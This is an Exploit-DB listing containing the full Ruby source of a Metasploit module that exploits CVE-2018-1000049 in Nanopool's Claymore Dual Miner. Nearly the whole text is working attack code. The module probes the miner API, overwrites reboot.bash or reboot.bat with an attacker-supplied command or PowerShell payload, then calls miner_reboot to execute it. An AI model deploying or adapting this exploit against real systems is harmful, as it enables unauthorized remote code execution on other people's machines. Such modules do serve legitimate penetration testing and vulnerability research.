Nanopool Claymore Dual Miner - APIs RCE (Metasploit)

EDB-ID: 45044
Author: Metasploit
Published: 2018-07-17
CVE: CVE-2018-1000049
Type: Remote
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: Metasploit Framework (MSF), Remote
Vulnerable App: Download Vulnerable Application

 # This module requires Metasploit: https://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'Nanopool Claymore Dual Miner APIs RCE',
'Description' => %q{
This module takes advantage of miner remote manager APIs to exploit an RCE vulnerability.
},
'Author' =>
[
'reversebrain@snado', # Vulnerability reporter
'phra@snado' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '44638'],
['CVE', '2018-1000049'],
['URL', 'https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/']
],
'Platform' => ['win', 'linux'],
'Targets' =>
[
[ 'Automatic Target', { 'auto' => true }],
[ 'Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X64,
'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf' ]
}
],
[ 'Windows',
{
'Platform' => 'windows',
'Arch' => ARCH_X64,
'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
}
]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DisclosureDate' => 'Feb 09 2018',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('RPORT', [ true, 'Set miner port', 3333 ])
])
deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST')
end

def select_target
data = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_getfile',
"params" => ['config.txt']
}.to_json
connect
sock.put(data)
buf = sock.get_once || ''
tmp = StringIO.new
tmp << buf
tmp2 = tmp.string
hex = ''
if tmp2.scan(/\w+/)[7]
return self.targets[2]
elsif tmp2.scan(/\w+/)[5]
return self.targets[1]
else
return nil
end
end

def check
target = select_target
if target.nil?
return Exploit::CheckCode::Safe
end
data = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_getfile',
"params" => ['config.txt']
}.to_json
connect
sock.put(data)
buf = sock.get_once || ''
tmp = StringIO.new
tmp << buf
tmp2 = tmp.string
hex = ''
case target['Platform']
when 'linux'
hex = tmp2.scan(/\w+/)[5]
when 'windows'
hex = tmp2.scan(/\w+/)[7]
end
str = Rex::Text.hex_to_raw(hex)
if str.include?('WARNING')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Detected
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
vprint_error(e.message)
return Exploit::CheckCode::Unknown
ensure
disconnect
end

def execute_command(cmd, opts = {})
target = select_target
case target['Platform']
when 'linux'
cmd = Rex::Text.to_hex(cmd, '')
upload = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_file',
"params" => ['reboot.bash', "#{cmd}"]
}.to_json
when 'windows'
cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first), '')
upload = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_file',
"params" => ['reboot.bat', "#{cmd}"]
}.to_json
end

connect
sock.put(upload)
buf = sock.get_once || ''
trigger_vulnerability
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
fail_with(Failure::UnexpectedReply, e.message)
ensure
disconnect
end

def trigger_vulnerability
execute = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_reboot'
}.to_json
connect
sock.put(execute)
buf = sock.get_once || ''
disconnect
end

def exploit
target = select_target
if target.nil?
fail_with(Failure::NoTarget, 'No matching target')
end
if (target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
(target['Platform'].eql?('windows') && payload_instance.name !~ /windows/i)
fail_with(Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{target.name}'")
end
case target['Platform']
when 'linux'
execute_cmdstager(flavor: :echo, linemax: 100000)
when 'windows'
execute_cmdstager(flavor: :vbs, linemax: 100000)
end
end
end

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